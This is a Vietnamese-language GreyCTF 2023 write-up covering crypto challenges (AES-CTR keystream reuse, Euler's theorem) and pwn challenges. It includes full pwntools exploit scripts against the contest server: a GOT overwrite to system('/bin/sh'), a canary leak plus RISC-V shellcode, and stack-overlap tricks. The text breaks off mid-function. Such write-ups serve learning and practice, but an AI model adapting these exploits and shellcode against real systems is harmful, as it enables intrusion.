Try   HackMD

(writeup) GREYCTF'23


CRYPTO

ENCRYPTSERVICE

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
  • Chall đưa ta 1 source code như sau:
import os 
from Crypto.Cipher import AES 
from hashlib import sha256 

FLAG = "grey{fake_flag_please_change_this}"
assert(len(FLAG) == 40)

secret_key = os.urandom(16)

def encrypt(plaintext, iv):
    hsh = sha256(iv).digest()[:8]
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce=hsh)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()

print("AES is super safe. You have no way to guess my key anyways!!")
print("My encryption service is very generous. Indeed, so generous that we will encrypt any plaintext you desire many times")

try:
    plaintext = bytes.fromhex(input("Enter some plaintext (in hex format): "))
except ValueError:
    print("We are incredibly generous, yet you display such selfishness by failing to provide a proper hex string")
    exit(0)

for i in range(256):
    ciphertext = encrypt(plaintext, i.to_bytes(1, 'big'))
    print(f"Ciphertext {i}: {ciphertext}")

print()
print("We will reward a lot of money for the person that can decipher this encrypted message :)")
print("It's impossible to decipher anyways, but here you go: ")
print("Flag: ", encrypt(FLAG.encode("ascii"), os.urandom(1)))
  • Tức là khi ta nhập 1 đoạn plaintext, ta sẽ thu được 255 đoạn ciphertext mã hóa bằng mode CTR với random key và nonce là hash sha256 của các số từ 0 đến 255
  • Ta thấy được điểm yếu của stream cipher chính là mã hóa các plaintext giống nhau thì sẽ cho ra các ciphertext giống nhau, tức là khi ta mã hóa nhatzietdeptrainhatzietcutequa thì sẽ có 1 phần ciphertext giống nhau
  • Đoạn code chứng minh như sau:
import os 
from Crypto.Cipher import AES 
from hashlib import sha256 

secret_key = b'1234567812345678'

def encrypt(plaintext, iv):
    hsh = sha256(iv).digest()[:8]
    cipher = AES.new(secret_key, AES.MODE_CTR, nonce=hsh)
    ciphertext = cipher.encrypt(plaintext)
    return ciphertext.hex()

iv = (100).to_bytes(1, 'big') # Lấy như trong chall
plain_1 = b'nhatzietdeptrai'
plain_2 = b'nhatzietcutequa'

print(encrypt(plain_1,iv))
print(encrypt(plain_2,iv))
# 0d8a6c3acf6b222660dfd9a981523a
# 0d8a6c3acf6b222667cfddb8824632
  • Giờ ta sẽ brute-force từng ký tự của flag
  • Thế nhưng, flag lấy iv là random từ 0 đến 255, vì thế, ta cần lấy hết các ciphertext từ 0-255 và so sánh với flag, nếu có 1 ciphertext giống thì có nghĩa là ký tự đó được chọn
  • Đoạn code sẽ như sau:
from string import printable
from pwn import*
pr = ['1', '0', 'r', '3', '4', '5', '_', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', '2', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '@', '[', '\\', ']', '^', '6', '`', '{', '|', '}', '~', ' ', '\t', '\n', '\r', '\x0b', '\x0c']
def run(flag):
    for char in pr:
        lst = []
        io = remote('34.124.157.94', 10590)
        io.recvuntil(b': ')
        data = flag
        data = data + char
        a = (data.encode("ascii").hex())
        io.sendline((a).encode())
        for j in range(256):
            x = (io.recvuntil(b': ',drop=True).decode())
            x = x[:len(data)*2]
            lst.append(x)
        io.recvuntil(b'Flag:  ')
        received = (io.recvuntil(b'\n',drop=True).decode())
        for i in lst:
            if i in received:
                flag = flag + char
                return flag
flag = 'grey{'
for i in range(39):
    flag = (run(flag))
    print(flag)
print(flag)

Flag: grey{0h_m4n_57r34m_c1ph3r_n07_50_53cur3}


ENCRYPTSERVICE_2

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

  • Ta thấy rằng, khi Flag ⊕ Key(iv) = Ciphertext, và khi ta thử nhập các byte b'\x00', ta sẽ được Key(iv), và lấy Ciphertext ⊕ Key(iv), ta sẽ được flag của bài
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Bây giờ, ta thu được các Key(iv) chính là các ciphertext với iv trong khoảng [0,255], ta sẽ dùng format của flag để tìm được ciphertext tương ứng
flag = '0abc55b4c66c83fc44a2d454e22277723f313719cb0fc5531082238f9e7c15ef24cb0cc30149ad20'
print(xor(b'grey{',bytes.fromhex(flag)).hex())

#Output: 6dce30cdbd0bf1993dd9b326875b0c154d544e62ac7da02a6be551eae707729d41b277a4732cd45b
  • Ta tìm được 5 byte đầu của Key(iv) là 6dce30cdbd > Tìm được key(iv) tương ứng
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
  • Flag sẽ là key(iv) ⊕ flag_encrypted
flag = '0abc55b4c66c83fc44a2d454e22277723f313719cb0fc5531082238f9e7c15ef24cb0cc30149ad20'
print(xor(bytes.fromhex('6dce30cdbd5ceba32996ba0bd71505410b5c687afa7fad6062dd4dbfa92320df7bfe3fa0743b9e5d'),bytes.fromhex(flag)))

THE VAULT

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
  • Đoạn code của chall như sau:
from hashlib import sha256 
from Crypto.Util.number import long_to_bytes
from Crypto.Cipher import AES 
from Crypto.Random import get_random_bytes 
from math import log10 

FLAG = "grey{fake_flag}"

n = pow(10, 128)
def check_keys(a, b):
    if a % 10 == 0:
        return False  

    # Check if pow(a, b) > n
    if b * log10(a) > 128:
        return True 
    return False 

def encryption(key, plaintext):
    iv = "Greyhats".encode()
    cipher = AES.new(key, AES.MODE_CTR, nonce = iv)
    return cipher.encrypt(plaintext)

print("Welcome back, NUS Dean. Please type in the authentication codes to open the vault! \n")

a = int(input("Enter the first code: "))
b = int(input("Enter the second code: "))

if not check_keys(a, b):
    print("Nice try thief! The security are on the way.")
    exit(0)

print("Performing thief checks...\n")
thief_check = get_random_bytes(16)

# Highly secure double encryption checking system. The thieves stand no chance!
x = pow(a, b, n)
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()

if thief_check == encryption(first_key, encryption(second_key, thief_check)):
    print("Vault is opened.")
    print(FLAG)
else:
    print("Stealing attempts detected! Initializing lockdown")
  • Ta nhìn thấy rằng, có 1 điều kiện:
first_key = sha256(long_to_bytes(x)).digest()
second_key = sha256(long_to_bytes(pow(x, 10, n))).digest()
if thief_check == encryption(first_key, encryption(second_key, thief_check)) --> cho ta flag
  • Ta thấy rằng chế độ CTR có 1 tính chất như sau: encrypt(key,encrypt(key,plaintext)) = plaintext
  • Bạn có thể thử bằng đoạn code sau đây:
from hashlib import *
from Crypto.Cipher import AES 

def encryption(key, plaintext):
    iv = "Greyhats".encode()
    cipher = AES.new(key, AES.MODE_CTR, nonce = iv)
    return cipher.encrypt(plaintext)

first_key = b'1234567812345678'
print(encryption(first_key,encryption(first_key,b'hello')))
# Output: b'hello'
  • Từ đó ta thấy để đạt được điều kiện trên, ta cần phải cho first_key và second_key bằng nhau, tức là phải chọn x sao cho x = pow(x,10,n) và để thỏa mãn điều kiện này, x = 1
  • Tức là pow(a,b,n) = 1, ta sẽ dựa vào định lý Euler để chọn ra 2 số a và b
  • Định lý cho ta thấy rằng
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →
    tức là ta sẽ chọn a là 1 số sao cho có ước chung với n là 1 và b chính là phi(n)
  • Ta cần tính phi(n) bằng cách
    • Tách n thành các số nguyên tố
      image
    • Sau đó, ta tính phi(n) theo cách này:
      Image Not Showing Possible Reasons
      • The image file may be corrupted
      • The server hosting the image is unavailable
      • The image path is incorrect
      • The image format is not supported
      Learn More →
  • Qua đó, ta sẽ chọn a = 13b = phi(n) = 40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
  • Nhập vào server và lấy flag thui :v
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Flag:grey{th3_4n5w3R_T0_Th3_3x4M_4nD_3v3ry7H1N6_1s_42}


GreyCat Trial

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →
  • Source code của chall như sau:
from random import randint 

FLAG = "grey{fake_flag}"

print("Lo and behold! The GreyCat Wizard, residing within the Green Tower of PrimeLand, is a wizard of unparalleled prowess")
print("The GreyCat wizard hath forged an oracle of equal potency")
print("The oracle hath the power to bestow upon thee any knowledge that exists in the world")
print("Gather the requisite elements to triumph over the three trials, noble wizard.")
print()

a = int(input("The first element: "))
b = int(input("The second element: "))
print()

all_seeing_number = 23456789

# FIRST TRIAL
if b <= 0:
    print("Verily, those who would cheat possess not the might of true wizards.")
    exit(0)

if pow(all_seeing_number, a - 1, a) != 1:
    print("Alas, thy weakness hath led to defeat in the very first trial.")
    exit(0)

# SECOND TRIAL
trial_numbers = [randint(0, 26) for i in range(26)]

for number in trial_numbers:
    c = a + b * number 
    if pow(all_seeing_number, c - 1, c) != 1 --> c là số nguyên tố:
        print("Thou art not yet strong enough, and thus hast been vanquished in the second trial")
        exit(0)

# THIRD TRIAL
d = a + b * max(trial_numbers) 
if (d.bit_length() < 55): 
    print("Truly, thou art the paramount wizard. As a reward, we present thee with this boon:")
    print(FLAG)
else:
    print("Thou art nigh, but thy power falters still.")
  • Ta thấy rằng, ở First Trial và Second Trial có 2 dòng
pow(all_seeing_number, a - 1, a) != 1 thì exit --> a là số nguyên tố
pow(all_seeing_number, c - 1, c) != 1 thì exit --> c là số nguyên tố
  • Có nghĩa giờ ta sẽ phải tìm 2 số a và b sao cho c = a + b*random_number(26)
  • Giờ ta chọn a và b thui
  • Nếu muốn nhanh thì vào http://primerecords.dk/aprecords.htm tìm và ta sẽ tìm được 2 số a = 3486107472997423 b = 371891575525470 không thì chọn các số cơ bản như a = 13 và b = 4 cũng được
    Image Not Showing Possible Reasons
    • The image file may be corrupted
    • The server hosting the image is unavailable
    • The image path is incorrect
    • The image format is not supported
    Learn More →

Flag: grey{Gr33N-tA0_The0ReM_w1z4rd}


PWN

BABY PWN

  • scoucer C:
#include <stdio.h>

int main()
{
    int accountBalance = 100, tmp;
    long int withdrawalAmount;
    short option;

    printf("==== Secure Banking System ====\n");
    printf("Welcome to the banking system.\nEarn $1000 to get the flag!\n\n");

    while (accountBalance < 1000)
    {

        printf("1. Check account balance\n");
        printf("2. Withdraw money\n");
        printf("3. Deposit money\n");
        printf("4. Exit\n\n");
        printf("Enter your option:\n");
        scanf("%hu", &option);

        switch (option)
        {
        case 1:
            printf("Your account balance is: $%d\n", accountBalance);
            break;
        case 2:
        {
            printf("Enter the amount to withdraw: ");
            scanf("%ld", &withdrawalAmount);
            tmp = accountBalance - withdrawalAmount;
            if (tmp < 0)
            {
                printf("You cannot withdraw more than your account balance.\n");
                continue;
            }
            accountBalance = tmp;

            printf("Withdrawal successful. New account balance: $%d\n", accountBalance);
            break;
        }
        case 3:
            printf("Deposit is still work in progress.\n");
            break;
        case 4:
            printf("Thank you for banking with us.\n");
            return 0;
        default:
        {
            printf("Invalid option.\n");
            break;
        }
        }
    }

    printf("\nCongratulations! You have reached the required account balance ($%d).\n", accountBalance);
    printf("The flag is: grey{fake_flag}\n");

    return 0;
}

  • khá khó chịu ta
  • phân tích xíu thì ta thấy để in flag vào thì ta cần thoát khỏi hàm while(), đồng nghĩa với việc accountBalance < 1000
  • file cho sẵn accountBalance = 100, ta chỉ cần cộng vào 900 là được
  • để ý ở option 2 thì ta có tùy ý thay đổi giá trị accountBalance nên ta chỉ cần nhập vào -900 là được

flag: grey{b4by_pwn_df831aa280e25ed6c3d70653b8f165b7}


EASY PWN

  • scource C:

  • bài này ret2win siêu cơ bản nên mình chỉ giải thích sơ là 8byte cho biến str, 8byte cho rbp rồi rip trỏ đến hàm win là lấy flag
  • script:

Flag: grey{d1d_y0u_run_th3_3x3ut4b1e?_230943209rj03jrr23}


ARRAYSTORE

  • check file + checksec

  • check ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // r15
  __int64 v4; // rax
  __int64 v6[100]; // [rsp+0h] [rbp-3C8h]
  char s[104]; // [rsp+320h] [rbp-A8h] BYREF
  unsigned __int64 v8; // [rsp+388h] [rbp-40h]

  v8 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Your array has 100 entries");
  while ( 1 )
  {
    while ( 1 )
    {
      printf("Read/Write?: ");
      fgets(s, 100, stdin);
      if ( s[0] != 'R' )
        break;
      printf("Index: ");
      fgets(s, 100, stdin);
      v4 = strtoll(s, 0LL, 10);
      if ( v4 > 99 )
LABEL_6:
        puts("Invalid index");
      else
        printf("Value: %lld\n", v6[v4]);
    }
    if ( s[0] != 'W' )
      break;
    printf("Index: ");
    fgets(s, 100, stdin);
    v3 = strtoll(s, 0LL, 10);
    if ( v3 > 99 )
      goto LABEL_6;
    printf("Value: ");
    fgets(s, 100, stdin);
    v6[v3] = strtoll(s, 0LL, 10);
  }
  puts("Invalid option");
  if ( v8 != __readfsqword(0x28u) )
    start();
  return 0;
}
  • chương trình sẽ có 2 chức năng, 'R' là Read(đọc), 'W' là Write(viết)
  • được 100 vị trí nhớ (nếu mình 'W' gì đó vào 1 trong 100 chỗ nhớ)
  • lỗi OOB ở đây (truy cập ngoài mảng)

  • nảy sinh nghi ngờ: nếu 'R' vào 1 cái Index nhỏ hơn 0 thì sao?

  • chương trình sẽ in ra 1 Value đáng khả nghi, ta sẽ leak thử coi nó là địa chỉ gì
  • thì tại 'Index = -7' được so sánh DEBUG động là 1 cái stack, tại 'Index = -4' là 1 cái địa chỉ binary (leak đc cả địa chỉ ld nhưng bài này k cần đến nó nên thôi)
  • hmm, k hàm get_shell, k hàm win -> ret2libc
  • ta cần leak địa chỉ libc base
  • thì ta sẽ dựa vào cái lỗi OOB để leak tại vị trí có libc
  • ta kiểm tra stack của ta:

stack nằm vùng cao hơn

  • tính offset:
gef➤  p/d 0x007ffc901f4ef0 - 0x007ffc901f4bd0
$1 = 800
  • nhập vào Index cần số âm nên sẽ chọn Index của puts@GOT, và vì địa chỉ trừ địa chỉ nên ta cần chia cho '-8' (1 phần để cho Index là số âm, 1 phần là để thoả mãn Index là kiểu int)
magic = (stack_leak - 800 - exe.got['puts'])//-8
  • vậy ta đã leak dc libc
  • bước cuối ta cần đưa '/bin/sh' và system() vào
  • idea: sẽ chọn option 'W' để ghi Value system() vào 1 Index GOT của hàm nào đó, để khi chạy tới hàm đó sẽ thực thi PLT tại hàm đó và có shell
  • thì ban đầu chọn tiếp GOT của puts nhưng ta cần chạy tới puts ở đây
printf("Index: ");
      fgets(s, 100, stdin);
      v4 = strtoll(s, 0LL, 10);
      if ( v4 > 99 )
LABEL_6:
        puts("Invalid index");  //ngay đây nè
      else
        printf("Value: %lld\n", v6[v4]);
    }
  • tức là Index của mình phải chọn số lớn hơn 99 mới có thể đi tiếp hàm puts@PLT (khá là khó)
  • ta chuyển qua strtoll@GOT

  • ghi strtoll@GOT xong ta 1 lần nữa chọn option 'R' để truyền Index là '/bin/sh', tới hàm strtoll là có shell ngay

  • script:
#!/usr/bin/python3

from pwn import * 

context.binary = exe = ELF('./arraystore_patched',checksec=False)
libc = ELF('./libc6_2.35-0ubuntu3.1_amd64.so',checksec=False)

#p = process(exe.path)
p = remote('34.124.157.94',10546)

# gdb.attach(p, gdbscript='''
# 	b*main+153
# 	b*main+207
# 	b*main+261
# 	b*main+337
# 	c
# 	''')
# input()

##################
### leak stack ###
##################

p.sendlineafter(b'?: ',b'R')
p.sendlineafter(b'Index: ',b'-7')

p.recvuntil(b'Value: ')
stack_leak = int(p.recvline()[:-1],10)
log.info("stack leak: " + hex(stack_leak))

#################
### leak exe  ###
#################

p.sendlineafter(b'?: ',b'R')
p.sendlineafter(b'Index: ',b'-4')

p.recvuntil(b'Value: ')
exe_leak = int(p.recvline()[:-1],10)
log.info("exe leak: " + hex(exe_leak))
exe.address = exe_leak - 0x2050
log.info("exe base: " + hex(exe.address))

#################
### leak libc ###
#################

magic = (int(stack_leak) - 800 - exe.got['puts'])//-8
strtoll = (int(stack_leak) - 800 - exe.got['strtoll'])//-8

log.info("puts_got: " + hex(magic))
log.info("strtoll_got: " + hex(strtoll))

p.sendlineafter(b'?: ',b'R')
p.sendlineafter(b'Index: ',str(magic))
p.recvuntil(b"Value: ")
libc_leak = int(p.recvline()[:-1],10)
log.info("libc leak: " + hex(libc_leak))
libc.address = libc_leak - libc.sym['puts']
log.info("libc base: " + hex(libc.address))

#################
### get shell ###
#################

system = libc.sym['system']

p.sendlineafter(b'?: ',b'W')
p.sendlineafter(b'Index: ',str(strtoll))
p.sendlineafter(b'Value: ',str(system))

p.sendlineafter(b'?: ',b'R')
p.sendlineafter(b'Index: ',b'/bin/sh\0')

p.interactive()
#grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984}

Flag: grey{wh0_s41d_1i5_0n1y_100_3ntr1e5?_9384h948rhfp84e3w9rfh984}

MONKEYTYPE

  • Source ida
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char ch_0; // [rsp+3h] [rbp-9Dh]
  int idx; // [rsp+4h] [rbp-9Ch]
  uint64_t highscore; // [rsp+8h] [rbp-98h]
  WINDOW *mainwin; // [rsp+10h] [rbp-90h]
  timespec start; // [rsp+20h] [rbp-80h] BYREF
  timespec stop; // [rsp+30h] [rbp-70h] BYREF
  struct timespec remaining; // [rsp+40h] [rbp-60h] BYREF
  char buf[64]; // [rsp+50h] [rbp-50h] BYREF
  unsigned __int64 v13; // [rsp+98h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  idx = 0;
  highscore = 0LL;
  mainwin = init();
  memset(buf, 0, sizeof(buf));
  update_cursor(0);
  nodelay(stdscr__NCURSES6_TINFO_5_0_19991023, 1);
  while ( ch_0 != 113 )
  {
    if ( highscore > 0xFFFFFFFF )
    {
      endwin();
      puts("You win! Here's the flag:");
      puts("grey{XXXXXXXXXXXXXXX}");
      exit(0);
    }
    ch_0 = wgetch(stdscr__NCURSES6_TINFO_5_0_19991023);
    if ( ch_0 != -1 )
    {
      if ( ch_0 == 0x7F )
      {
        update_text(mainwin, buf, --idx);
      }
      else if ( ch_0 > 0x1F )
      {
        if ( !idx )
          clock_gettime(0, &start);
        if ( idx <= 0x20 )
        {
          v3 = idx++;
          buf[v3] = ch_0;
          update_text(mainwin, buf, idx);
        }
        if ( !strcmp(buf, quote) )
        {
          clock_gettime(0, &stop);
          highscore = get_score(&start, &stop);
          update_highscore(mainwin, highscore);
          memset(buf, 0, sizeof(buf));
          idx = 0;
          update_text(mainwin, buf, 0);
          update_cursor(0);
        }
      }
    }
    remaining.tv_sec = 0LL;
    remaining.tv_nsec = 16666666LL;
    nanosleep(0LL, &remaining);
  }
  return 0;
}
  • Ý tưởng
  • wu tham khảo link ở đây
  • Đầu tiên, chương trình sẽ cho ta flag khi highscore > 0xffffffff
  • Trong vòng lặp ta thấy chương trình đang xử lí các kí tự ta nhập vào, ở đây
if ( ch_0 == 0x7F )
      {
        update_text(mainwin, buf, --idx);
      }
  • khi ch_0 == 0x7F chương trình sẽ giảm idx xuống mà không kiểm tra giá trị idx có lớn hơn 0 không, chức năng update_text sẽ ghi lên stack, vậy ta có lỗi Out-of-bound
  • Khai thác
char buf[64]; // [rsp+50h] [rbp-50h] BYREF
uint64_t highscore; // [rsp+8h] [rbp-98h]
  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('monkeytype', checksec=False)

context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''


                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('34.124.157.94', 12321)
else:
        p = process(exe.path)

GDB()
s(b' '*0x48)    # 0x98 - 0x50
s(b'A'*5)
# output = p.recvall()
# print(output[output.index(b'flag:\n'):])
p.interactive()

Flag: grey{I_am_M0JO_J0JO!}


READ ME A BOOK

  • Source
void __fastcall catflag(int a1)
{
  FILE *stream; // [rsp+18h] [rbp-18h]
  __int64 size; // [rsp+20h] [rbp-10h]
  void *ptr; // [rsp+28h] [rbp-8h]

  if ( a1 == 1337 )
  {
    stream = fopen("books/flag.txt", "rb");
  }
  else
  {
    if ( a1 > 1337 )
      goto LABEL_16;
    if ( a1 == 4 )
    {
      stream = fopen("books/not_a_flag.txt", "rb");
    }
    else
    {
      if ( a1 > 4 )
        goto LABEL_16;
      switch ( a1 )
      {
        case 3:
          stream = fopen("books/youtiaos_recipe.txt", "rb");
          break;
        case 1:
          stream = fopen("books/bee_movie.txt", "rb");
          break;
        case 2:
          stream = fopen("books/star_wars_opening.txt", "rb");
          break;
        default:
          goto LABEL_16;
      }
    }
  }
  if ( !stream )
  {
LABEL_16:
    puts("We don't have that book!");
    return;
  }
  fseek(stream, 0LL, 2);
  size = ftell(stream);
  ptr = calloc(1uLL, size + 1);
  fseek(stream, 0LL, 0);
  fread(ptr, size, 1uLL, stream);
  puts(" ---------------------------------");
  puts("The story goes...");
  puts((const char *)ptr);
  puts(" ---------------------------------");
  fclose(stream);
  free(ptr);
}

__int64 option1()
{
  int v1[11]; // [rsp+Ch] [rbp-34h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("\nWhich book would you like to read?");
  puts("1. Bee Movie Script");
  puts("2. Star Wars Opening");
  puts("3. Recipe to make the best Youtiaos");
  puts("4. The Secret to Life");
  printf("> ");
  if ( (unsigned int)__isoc99_scanf("%d", v1) && v1[0] == 1337 )
  {
    puts("\nLibrarian: Hey! This book is not for your eyes!");
    handler((int)"\nLibrarian: Hey! This book is not for your eyes!");
  }
  delete();
  return (unsigned int)v1[0];
}

unsigned __int64 option2()
{
  void *buf; // [rsp+0h] [rbp-40h]
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf = malloc(0x1000uLL);
  printf("Leave us your feedback: ");
  read(0, buf, 0xFFFuLL);
  puts("Thanks! Our librarians will have a look at your feedback.");
  dword_402C = 1;
  free(buf);
  return v2 - __readfsqword(0x28u);
}

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+0h] [rbp-10h] BYREF
  int v4; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  sub_159D(a1, a2, a3);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      __isoc99_scanf("%d", &v3);
      delete();
      if ( v3 != 1 )
        break;
      v4 = option1();
      catflag(v4);
    }
    if ( v3 != 2 )
    {
      puts("Goodbye!");
      exit(0);
    }
    if ( dword_402C )
      puts("You have already given your feedback.");
    else
      option2();
  }
}
  • Ý tưởng
  • Bài này lỗi chồng chéo stack
  • Lỗi ở đây khi debug dừng chỗ read(0, buf, 0xFFFuLL); của option2 thì ta thấy giá trị trả về của read() là số byte read() đọc được vào rax() (giả sử trường hợp này mình nhập vào 0x538 byte "a" + 1 endline)

image

  • và câu lệnh asm tiếp theo là mov DWORD PTR [rbp-0x34], eax đưa số byte này vào $rbp-0x34 mà ở option1 ta có int v1[11]; // [rsp+Ch] [rbp-34h] BYREF cũng ở rbp-0x34 đó là lỗi chồng chéo stack.
  • Khi trở về hàm scanf trong option 1 ta thấy rsi của v1[0] đã là 1337, bây giờ chúng ta chỉ cần nhập chữ thì hàm scanf() sẽ không đọc được và không thay đổi 1337.
  • Khai thác:
  • Đầu tiên ta chọn option 2 và gửi vào 0x539 byte, sau đó chọn option 1 và gửi vào chữ.
  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('chall', checksec=False)

context.binary = exe

def GDB():
        if not args.REMOTE:
                gdb.attach(p, gdbscript='''


                c
                ''')
                input()

info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)

if args.REMOTE:
        p = remote('34.124.157.94', 12344)
else:
        p = process(exe.path)

GDB()
sla(b"Option: ", b"2")
sa(b": ", b"a" * 0x539)
sla(b"Option: ", b"1")
sla(b"> ", b"a")

p.interactive()

image

Flag: grey{librarian_f0rg0t_t0_1n1t_s7ack_9a3d5e8}


ROPV

  • check file + checksec

đây là file built với kiến trúc riscv

  • check ghidra

  • thông qua ghidra ta thấy có lỗi fmtstr (printf) và BOF (khai báo 8 nhưng read 0x400)
setup ghidra
$ sudo apt-get install openjdk-17-jdk
$ ./ghidrarun 
setup cái JDK dẫn vào PATH /usr/lib/jvm/<phienbanjava>
  • bài này sẽ là ret2shellcode có leak
  • ta cần tìm canary để bypass
  • kiến trúc riscv nên gdb gặp khó khăn
  • nhiều lần ngồi test địa chỉ thì thấy ở %9 xuất hiện địa chỉ khá giống canary

  • vì PIE tĩnh nên khi leak bằng '%p' luôn xuất hiện địa chỉ này

0x40007ffe80

  • và khi sử dụng lệnh 'tel' thử thì
gef➤  tel
[!] Unmapped address: '$sp'

nhân sinh nghi ngờ có thể $sp là $rip trong amd, vậy thì offset của nó là 0xa0 - 0x80 = 32

  • tính toán payload:
    • nếu là 32 thì có 8 byte là save rbp, canary, rip và padding
    • từ đó suy ra số byte padding là 8
    • mà shellcode không thể dài 8 byte đc
    • shellcode sẽ đặt sau địa chỉ leak ra được (0x80) cộng thêm 32 thành địa chỉ có byte cuối là 0xa0 để ret về địa chỉ 0xa0 ấy rồi thực thi shellcode
  • shellcode lụm : link
  • setup debug:
  1. terminal 1

$ qemu-riscv64 -g <port> <binary>

với <port> là số mình tuỳ chọn -> mở máy chủ host

  1. terminal 2

$ sudo gdb-multiarch <binary>

gef➤ target remote :<port>

ta sẽ debug động với nc là localhost:<port> (localhost ở đây cho 0 vẫn được)

  • góc nhỏ:
setup 1 tí về kiến trúc mới
$ sudo apt install qemu-system-misc qemu-user-static binfmt-support
$ git clone https://git.qemu.org/git/qemu.git
$ cd qemu
$ ./configure --static --disable-system --target-list=riscv64-linux-user
$ make
$ sudo cp riscv64-linux-user/qemu-riscv64 /usr/bin/qemu-riscv64-static
$ cat >/tmp/qemu-riscv64 <<EOF
package qemu-user-static 
type magic
offset 0
magic \x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xf3\x00
mask \xff\xff\xff\xff\xff\xff\xff\x00\xff\xff\xff\xff\xff\xff\xff\xff\xfe\xff\xff\xff
interpreter /usr/bin/qemu-riscv64-static
EOF
$ sudo update-binfmts --import /tmp/qemu-riscv64

  • script:
#!/usr/bin/python3

from pwn import *

exe = ELF('./ropv',checksec=False)

p = process(exe.path)

shellcode = b'\x35\xa0\xff\x2f\x62\x69\x6e\x2f\x73\x68\x7d\x54\x83\xa4\x80\xff\xa1\x8c\x23\xac\x90\xfe\x01\x46\x81\x45\x23\x8d\xb0\xfc\x13\x85\x30\xfd\x93\x08\xd0\x0d\x09\xa0\x8c\xff\xff\xff\xef\xf0\xff\xfd'

p.sendafter(b'server: ', b'%9$p||%p')
canary = int(p.recvuntil(b'||',drop=True), 16)
stack = int(p.recvline(), 16)

log.info("canary leak: " + hex(canary))
log.info("stack leak: " + hex(stack))

payload = b'A'*8 
payload += p64(canary) 
payload += b'A'*8 
payload += p64(stack+32)
payload += shellcode

p.sendafter(b'server: ', payload)

p.interactive()

grey{riscv_risc5_ropv_rop5_b349340j935gj09}


WRITE ME A BOOK

  • check file + checksec

  • check ida

  • kiểm tra có cả seccomp nên dùng seccomp-tools kiểm tra nốt file binary

  • trong ida, mình sẽ nhập 12 byte vào địa chỉ (&author_signature + 3)
  • +3 là do có sẵn signature 2128226 = 0x207962 (3byte)
  • sau đó vào vào secure_library

tạo 1 đống chunk do malloc

  • rồi sẽ vào hàm write_books (khai thác chính ở đây)
unsigned __int64 write_books()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      __isoc99_scanf("%d", &v1);
      getchar();
      if ( v1 != 1337 )
        break;
      if ( !secret_msg )
      {
        printf("What is your favourite number? ");
        __isoc99_scanf("%d", &v2);
        if ( v2 > 0 && v2 <= 10 && *((_QWORD *)&unk_4040E8 + 2 * v2 - 2) )
          printf("You found a secret message: %p\n", *((const void **)&unk_4040E8 + 2 * v2 - 2));
        secret_msg = 1;
      }
LABEL_19:
      puts("Invalid choice.");
    }
    if ( v1 > 1337 )
      goto LABEL_19;
    if ( v1 == 4 )
      return v3 - __readfsqword(0x28u);
    if ( v1 > 4 )
      goto LABEL_19;
    switch ( v1 )
    {
